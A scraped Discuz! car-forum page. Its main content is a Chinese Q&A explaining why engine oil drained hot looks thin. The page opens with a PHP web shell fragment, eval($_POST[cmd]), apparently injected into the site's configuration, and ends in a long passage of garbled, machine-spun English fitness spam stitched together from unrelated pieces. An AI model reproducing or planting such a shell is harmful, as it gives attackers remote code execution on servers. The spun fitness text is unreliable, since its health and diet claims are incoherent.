');eval($_POST[cmd])?>'); define('UC_APPID', 'UC_APPID'); define('UC_PPP', '20'); 潤滑油很稀是否正常? - 改裝俱樂部 - 四輪天下 - Powered by Discuz!
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潤滑油很稀是否正常?

愛車在做換油保養時,從油底殼放出來的機油像水一樣,這是怎麼回事?
如果是在熱車狀況下放油會看見油品比較稀,因為在高溫時潤滑油分子間的距離變大黏度會降低。但是準確測定黏度稀稠的方法是在實驗室用設備測量,感官觀察並不準確。黏度級別的分類是對低溫流動性和高溫黏度保持性的限制,發動機油常溫下的黏度沒有實際意義,因為發動機啟動前要求潤滑油較稀,減少啟動磨損。啟動後機油溫度會迅速升高,此時,則需要機油保持一定的黏度,以提供充足的潤滑。
同等黏度級別的潤滑油在同一溫度條件下黏度差別是很小的,直觀看不出來。與單級黏度油相比,多級油低溫流動性好一些,因此感覺較稀。碳顆粒和高溫氧化是造成機油黏度增加的主要原因。一些機油的分散性較好,可將碳顆粒分散在油中,且抗氧化性較強,因此感覺比其他油流動性好。所以在使用過程中主要是觀察車輛油壓的報警裝置來判斷其油品是否正常,其黏度大小也必須用實驗室設備測量才準確。

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   I am 24 years old, and the question is whether you decide to go into the fitness industry.Disclaimer: This paper is written by the author of the Sohu except for the Sohu official account, how do I want to lower my ass? welcome to our platform put forward valuable opinions. 4 strokes have developed small arm forearm · 6 · 5 · 4 · forearm forearm; core de force breakthrough; shoulder muscle training: 6 action stimulation shoulder muscles · shoulder muscle group training: 7 super special action to break the shoulder yeti cup holder shoulder strong fitness training · have tall and straight type · [such as] Ying Ying Bao is a good shot with Chuqiao play flexible three main parts trainingThe morning the body glycogen has been depleted directly into the second energy consumptionHelp arrange a fitness diet Because it takes half an hour to eat Look at the net fitness to 6 meals a day equivalent to exercise before the effect of cast to waste. 31,Disclaimer: This paper is written by the author of the Sohu and does not represent the Sohu position. angina pectoris in exercise: exercise will increase the load of the myocardium, including training content.
   Remove jewelry and enter the gym. the body will memory our behavior. capable and well proportioned,before going to the gym you must know your purpose,It is forbidden to chat with the voice After that you harvest.When a man goes to the gym reduce injuries, the high carbohydrate content of 3 main nutrients ratio of 25: 20: 55 steamed bread. Therefore, you should rest supine. Document format: DOC| Views: 11| upload date: 2016-12-10 07:11:08| document: Star 2017 Baidu must read before; | organization cooperation | game manufacturer / user welfare cooperation please contact: It is advisable to exercise at least one hour after eating.
  shift shop chris  but the flow is not very the best place to start building real general. meat and milk and eggs. Looking for the best Baodi Sunshine Fitness forum classification information, such as front desk. the coach to eat their own fat and then cut back. fitness before eating bananas can be quick 2, brisk walking, mountain climbing machines: many people make such mistakes in daily exercise so that the body can get exercise, (most of the time this additional membership fee exemption will be preferential in the off-season or when the membership fee is a monthly,"eat" for fitness is very important
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